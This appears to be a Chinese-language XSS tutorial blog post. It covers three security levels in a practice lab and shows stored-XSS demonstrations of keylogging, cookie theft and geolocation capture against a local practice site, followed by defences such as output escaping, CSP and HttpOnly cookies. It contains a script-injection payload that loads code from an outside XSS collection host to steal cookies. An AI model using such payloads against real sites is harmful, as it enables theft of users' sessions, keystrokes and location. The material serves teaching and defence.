XSS 全称:跨站脚本( Cross Site Scripting ),为了不和层叠样式表( Cascading Style Sheets )的缩写 CSS 混合,所以改名为 XSS;攻击者会向 web 页面( input 表单、 URL 、留言版等位置)插入恶意 JavaScript 代码,导致 管理员/用户 访问时触发,从而达到攻击者的目的。
XSS 的危害:窃取管理员/用户的 cookie 非法登录,导致网站被挂马、服务器沦陷被控制等等……
XSS 类型:反射型、存储型、 DOM 型
0x01 代码审计
1.安全等级-low(未对字符做任何处理)
服务器端核心代码,数据提取及表单显示数据部分代码:
PHP - low 级别显示代码为:
关键的语句:
Return mysqli_real_escape_string(data);
下列字符受影响:
\x00 ,\n ,\r ,\ ,' ," ,\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
2.安全等级- medium
服务器端代码:
关键语句:
return addslashes($data);
stringaddslashes ( string $str )
本函数可在 PHP4 和 PHP5 下使用。
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NULL(NULL 字符)。
默认情况下,PHP 指令 magic_quotes_gpc
为 on ,它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()
。不要对已经被 magic_quotes_gpc
转义过的字符串使用 addslashes()
,因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc()
进行检测。
一个使用 addslashes()
的例子是当你要往数据库中输入数据时。例如,将名字 O'reilly
插入到数据库中,这就需要对其进行转义。大多数据库使用 \(反斜杠)作为转义符:O\'reilly
,这样可以将数据放入数据库中,而不会插入额外的 \。当 PHP 指令 magic_quotes_sybase
被设置成 on
时,意味着插入 \' 时将使用 ' 进行转义。
3.安全等级:high
关键语句:
return htmlspecialchars($data, ENT_QUOTES,$encoding);
quotestyle
选项为 NT_QUOTES
过滤单引号
函数 htmlspecialchars 转换特殊字符成为 html 实体:
&(和号)成为 &
“ (双引号)成为 "
‘ (单引号)成为 '
< (小于号)成为 <
> (大于号)成为 >
具体细节请看:
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
0x02实战解析
1.low安全级别
让我们来留个言:
数据库中插入的数据:
点击一下safs:
成功跳转到百度:
2.medium 安全级别:
让我们再来留个言:
数据库中插入的数据:
刷新一下,看看效果图:
3.high 安全级别:
对字符输出过滤做的很好,看看效果:
4.下面来找个具体例子来练练手 xss之获取键盘记录:
数据接收的 getkeylog.php :
盗取数据的 victim.html 网页:
访问 victim.html
:
生成了一个 data.txt
文件:
打开 data.txt
:
数据盗取成功。(^__^) 嘻嘻……
5.盗取 cookie:
开启虚拟机,开启 phpstudy
, 进入 webbug
靶场:
留言一下:
"><sCRiPt sRC=http://xss.fbisb.com/6srZ></sCrIpT>
刷新一下;
接收到 cookie:(好像没有啥东西)。。。。。。。
6.Cookie 并不好玩,让我们来一下骚操作(可以精确定位):
获取对方的地理位置:
需要 index.php
和 recv.php
( index.php
发送给攻击者的, recv.php
作为服务端接收参数)
index.php:
Recv.php :
接受上个页面传过来的参数(经度坐标),接受上个页面传过来的参数(纬度坐标),创建一个 geo.txt 文件,把经度写入到 geo.txt 里,把纬度写入到 geo.txt 里
插入留言:
存入数据库:
点击 location 的效果图:
打开 geo.txt:
来看看定位结果:
0x03防御手段
1、PHP 直接输出 html 的,可以采用以下的方法进行过滤:
2、PHP 输出到 JS 代码中,或者开发 Json API 的,则需要前端在JS中进行过滤:
尽量使用 innerText(IE) 和 textContent(Firefox) ,也就是 jQuery 的 text() 来输出文本内容必须要用innerHTML等等函数,则需要做类似 php 的 htmlspecialchars 的过滤
3、其它的通用的补充性防御手段:
在输出 html 时,加上 Content Security Policy
的 Http Header
(作用:可以防止页面被 XSS 攻击时,嵌入第三方的脚本文件等)
(缺陷:IE 或低版本的浏览器可能不支持)
在设置 Cookie 时,加上 HttpOnly 参数
(作用:可以防止页面被 XSS 攻击时,Cookie 信息被盗取,可兼容至IE6)
(缺陷:网站本身的 JS 代码也无法操作 Cookie ,而且作用有限,只能保证 Cookie 的安全)
在开发 API 时,检验请求的 Referer 参数
(作用:可以在一定程度上防止 CSRF 攻击)
(缺陷:IE或低版本的浏览器中,Referer 参数可以被伪造
0x04总结
XSS 的攻击已经相当成熟,丰富的攻击技巧更是令人眼花缭乱。相比之下,针对XSS的检测和防范方法显得捉襟见肘。幸运的是,尽管很难对 XSS 攻击做出有效检测,但是如果能依照一定的方法对XSS进行防范,XSS攻击便很难造成实质性的危害
(一)、Anti_XSS
Anti_XSS 是微软开发的(.NET平台下)用于防止 XSS 跨站脚本攻击的类库,它提供了大量的编码函数用于处理用户的输入,可实现输入白名单机制和输出转义。
(二)、HttpOnly Cookie
窃取 Cookie 是最常见的 XSS 攻击手法之一,即利用 XSS 攻击手法来打破同源策略。在同源策略规范下,Cookie 理应只能提供给同源下的网页读取使用,然而透过 XSS 漏洞,攻击者可以利用 JavaScript 中的document.cookie 方法窃取用户的 Cookie
(三)、WAF
除了使用以上方法地域跨站脚本攻击,还可以使用 WAF 抵御 XSS、
WAF 指 Web 应用防护系统或 Web 应用防火墙,是专门为保护给予 Web 应用程序而设计的,主要的功能是防范注入网页木马、 XSS 以及 CSRF 等常见漏洞的攻击,在企业环境中深受欢迎。
(四)、重点
如何利用 xss 漏洞实施攻击并不是身为安全工程师的重点,xss 防御才是我们努力要去做的。